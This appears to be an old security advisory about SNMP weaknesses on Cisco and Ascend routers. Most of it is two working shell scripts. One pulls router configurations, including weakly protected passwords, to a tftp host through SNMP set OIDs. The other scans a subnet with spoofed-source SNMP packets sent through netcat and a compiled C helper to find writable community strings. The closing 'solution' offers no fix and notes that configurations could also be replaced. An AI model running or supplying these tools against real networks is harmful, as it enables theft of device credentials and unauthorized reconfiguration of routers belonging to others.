COMMAND
SNMP
SYSTEMS AFFECTED
routers
PROBLEM
Following was posted by 'monti'. The utility below is based on
widely known public information and it's functionality is
replicated in many very expensive commercial products. This
information is provided for educational purposes only. May this
script help make SNMP die the sad lonely death it deserves once
and for all!
On that note... Monty originally cobbled this together to keep
the network admins he worked with from doing annoying things like
keeping tftp daemons running on his Unix hosts for weeks on end.
Its pretty handy for that too. It's just a lame little script to
automate snmp/tftp config dumps from ciscos and ascends using
snmp/tftp with a temporary tftp server. There are several
home-grown versions of this for ciscos out there, a handful for
ascends, but have not run across any that do both, so... The
OID's to acomplish this on ciscos and ascends are below.
Basically in both cases doing an SNMP set on certain variables
will trigger the tftp config upload from the target router.
'XXX' denotes IP address octets for where you want the config to
go.
Cisco:
SNMP set .1.3.6.1.4.1.9.2.1.55.XXX.XXX.XXX.XXX type=s(string) "tftp-filename"
Ascend:
SNMP set .1.3.6.1.4.1.529.9.5.3.0 type=a(addr) XXX.XXX.XXX.XXX
SNMP set .1.3.6.1.4.1.529.9.5.4.0 type=s(string) "tftp-filename"
As everybody knows, Cisco type 7 hashes are trivial, and ascends
keep passwords unencrypted, so this tool or one of the zillion
others like it (HP Openview anybody?) could be used by crazed
frothy-mouthed sociopaths to dish out truckloads of evil upon
meek internet-shoppers!!!@!@#$!!! The code:
#!/bin/sh
# grabrtrconf:
# Pull router configs via tftp for cisco's and ascends. obviously trivial to
# modify this for other network hardware that supports this type of thing.
#
# - [type] can be one of cisco | ascend currently
# - defaults to cisco
# - requires cmu snmp utilities (snmpset specifically)
# - use TFTPLISTEN and disable tftp from /etc/inetd.conf if you want to
# launch a 'temporary' in.tftpd just to grab the file.
# - 'pidof' only exists on linux that I know of which kindof makes this a
# linux-only tool, unless/until I decide to stop relying on it.
# - Set 'INT' to whatever your routable IP is.
# - run as root (if you want to launch the tftp server)
#
# - I know this is lame... but it works (most of the time).
#
# by: Eric Monti 11/1997
#
TFTPLISTEN="true"
DIR=/tftpboot #might want to use something else
WAIT=6
INT=ppp0
test "$4" = "" && echo "Usage: `basename $0` target write-community tftphost filename [type]" && exit 1
TYPE=$5
test "$5" = "" && TYPE="cisco"
IPADDR=$3
test "$IPADDR" = "." && IPADDR=`/sbin/ifconfig $INT | grep inet | sed "s/\:/\ /" | awk '{print $3}'`
echo $3
if [ -n $TFTPLISTEN ];then
echo "tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd $DIR" > /tmp/ind.conf
/usr/sbin/inetd -d /tmp/ind.conf &
rm /tmp/ind.conf
rm -f $DIR/$4
touch $DIR/$4
chmod 666 $DIR/$4
fi
#CISCO get config
test "$TYPE" = "cisco" && \
snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.9.2.1.55.$IPADDR s $4
#ASCEND get config
if [ "$TYPE" = "ascend" ];then
snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a $IPADDR
snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s $4
snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.1.0 i 3
snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a "0.0.0.0"
snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s ""
fi
sleep $WAIT
# i got lazy and used pidof... so what.
# I made pretty dots appear to make up for it!
if (test `pidof in.tftpd`);then
echo Receiving file:
while (test "`pidof in.tftpd`");do
echo -n .
sleep 1
done
echo
echo Transfer Complete
fi
if [ -n $TFTPLISTEN ];then
kill `cat /var/run/inetd.pid` # jeepers, i hope that wasnt the real1
fi
Michal Zalewski posted following. Here's brute-force spoofing
scanner for writable snmp communities. Requires NetCat and snmp
tools (like snmpget) to be installed. Scanning is mostly harmless
- it tries to change system.sysContact.0 to 'null' using common
default communities (according to securityfocus). Should be run
as root. It is known to break some Cisco systems (but not recent
IOSes, at least not in default configuration), most of 3com
products (there was another writable community, which seems to be
present everywhere, regardless of 'private', which is disabled by
administrators sometimes), HP switches, printers, Ascend *DSL
modems etc. Also, it should bypass most of stupid source IP
address restrictions for accessing the community.
#!/bin/sh
rm -f .walk.tmp* /tmp/spoof-* WYSZLO &>/dev/null
echo "snmpd vulnerability scanner by <lcamtuf@ags.pl>"
echo
x=$1
PRE=$2
if [ "$2" = "" ]; then
echo "Usage: $0 start_at c_subnet"
echo "example: '$0 0 172.16.1' will scan 172.16.1.0-255."
echo
exit
fi
SPFILE="/tmp/spoof-$$"
cat >$SPFILE.c <<_EOF_
char buf[1000];
char part1[]="0\202\0-\2\1\0\4";
char part2[]="\243\37\2\1\1\2\1\0\2\1\0000\0240\202\0\20\6\10+\6\1\2\1\1\4\0\4\4null";
main(int argc,char**argv) {
char x=strlen(argv[1]);
memcpy(buf,part1,sizeof(part1)-1);
memcpy(buf+sizeof(part1)-1,&x,1);
strcpy(buf+sizeof(part1),argv[1]);
memcpy(buf+sizeof(part1)+x,part2,sizeof(part2)-1);
write(1,buf,x+1+sizeof(part1)+sizeof(part2));
}
_EOF_
echo "Compiling helper application..."
gcc -o $SPFILE $SPFILE.c
test -x $SPFILE || exit
echo "Scan range: $PRE.$x-255..."
if [ "$1" = "0" ]; then
echo "* Collecting routing information (6 seconds)..."
/usr/sbin/traceroute -n -f 3 -w 60 $PRE.32 2>/dev/null >.walk.tmp &
sleep 6
killall traceroute &>/dev/null
awk '{print $2}' .walk.tmp >.walk.tmp2
fi
echo "Starting scan. Outfile is: WYSZLO"
while [ "$x" -lt "256" ]; do
echo $PRE.$x >>.walk.tmp2
let x=x+1
done
COMMUNITIES="public private write all monitor agent manager OrigEquipMfr admin default password tivoli openview community snmp snmpd system"
for i in `cat .walk.tmp2`; do
echo -n "$i: "
snmpget -R 2 $i public system.sysDescr.0 &>.walk.tmp
ERR="`grep -c -iE 'refuse|error|timeout|fail|denied|found|acce' .walk.tmp`"
if [ "$ERR" = "0" ]; then
echo "OK"
echo -n " system: "
awk -F'"' '{print $2}' .walk.tmp >.walk.tmp2
SYS="`cat .walk.tmp2`"
echo "$SYS"
snmpget -R 2 $i public system.sysDescr.0 &>.walk.tmp
awk -F'"' '{print $2}' .walk.tmp >.walk.tmp2
SYSNAME="`awk '{print $1}' .walk.tmp2`"
echo "$i ($SYS):" >>WYSZLO
for j in $COMMUNITIES 'all private' 'Secret C0de' $SYSNAME; do
echo -n " $j> "
$SPFILE "$j" | nc -u $i 161 &>/dev/null &
$SPFILE "$j" | nc -s 127.0.0.1 -u $i 161 &>/dev/null &
$SPFILE "$j" | nc -s $i -u $i 161 &>/dev/null &
$SPFILE "$j" | nc -s $PRE.1 -u $i 161 &>/dev/null &
sleep 1
killall nc &>/dev/null
snmpget -R 2 $i public system.sysContact.0 &>.walk.tmp
WORKED="`grep -c null .walk.tmp 2>/dev/null`"
if [ "$WORKED" = "0" ]; then
echo " - $j failed." >>WYSZLO
echo "failed."
else
echo "OK"
echo " - $j WORKED." >>WYSZLO
break
fi
done
else
echo "milczy..."
fi
done
echo "Done."
rm -f .walk.tmp* $SPFILE*
Parameters accepted by snmpget seems to be different on
different implementations. For newer Linux ucb-snmp versions,
you might want to change 'snmpget -R 2' to 'snmpget -r 2 -t 2' to
make the script work properly. For most of implementations, '-R 2'
is correct, anyway, but if your script won't detect anything where
you're expecting open snmp subsystem and it's working way too
fast - please consider this change.
SOLUTION
As many know, it's worse too since you could just replace a config
if you're in the mood. The OID's to accomplish that can be found
in the respective cisco and ascend MIBs nearby the ones outlined
above. You won't find that in code above.